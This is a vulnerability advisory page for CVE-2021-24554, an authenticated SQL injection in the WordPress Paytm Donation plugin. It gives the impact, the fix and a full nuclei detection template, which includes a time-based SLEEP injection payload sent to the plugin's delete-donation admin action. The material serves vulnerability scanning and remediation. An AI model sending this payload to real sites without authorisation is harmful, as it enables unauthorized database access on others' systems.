WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection

highseverity

7.2CVSS score

6.6%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

WordPress Paytm Donation plugin through 1.3.2 is susceptible to authenticated SQL injection. The plugin does not sanitize, validate, or escape the id GET parameter before using it in a SQL statement when deleting donations. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.

Fix

Update to the latest version of the WordPress Paytm Donation plugin (version > 1.3.2) to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; @timeout: 10s
Positive when: duration_2>=6 and status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "paytm-settings_page_wp_paytm_donation")

Run it with nuclei: nuclei -id CVE-2021-24554 -u <target>

The full check

id: CVE-2021-24554

info:
  name: WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection
  author: theamanrawat
  severity: high
  description: |
    WordPress Paytm Donation plugin through 1.3.2 is susceptible to authenticated SQL injection. The plugin does not sanitize, validate, or escape the id GET parameter before using it in a SQL statement when deleting donations. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Update to the latest version of the WordPress Paytm Donation plugin (version > 1.3.2) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f2842ac8-76fa-4490-aa0c-5f2b07ecf2ad
    - https://wordpress.org/plugins/wp-paytm-pay/
    - https://codevigilant.com/disclosure/2021/wp-plugin-wp-paytm-pay/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24554
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24554
    cwe-id: CWE-89
    epss-score: 0.06621
    epss-percentile: 0.93916
    cpe: cpe:2.3:a:freelancetoindia:paytm-pay:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: freelancetoindia
    product: paytm-pay
    framework: wordpress
  tags: time-based-sqli,cve,cve2021,sqli,wordpress,wp-plugin,wp,wp-paytm-pay,wpscan,freelancetoindia,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 10s
        GET /wp-admin/admin.php?page=wp_paytm_donation&action=delete&id=0%20AND%20(SELECT%205581%20FROM%20(SELECT(SLEEP(6)))Pjwy) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "paytm-settings_page_wp_paytm_donation")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from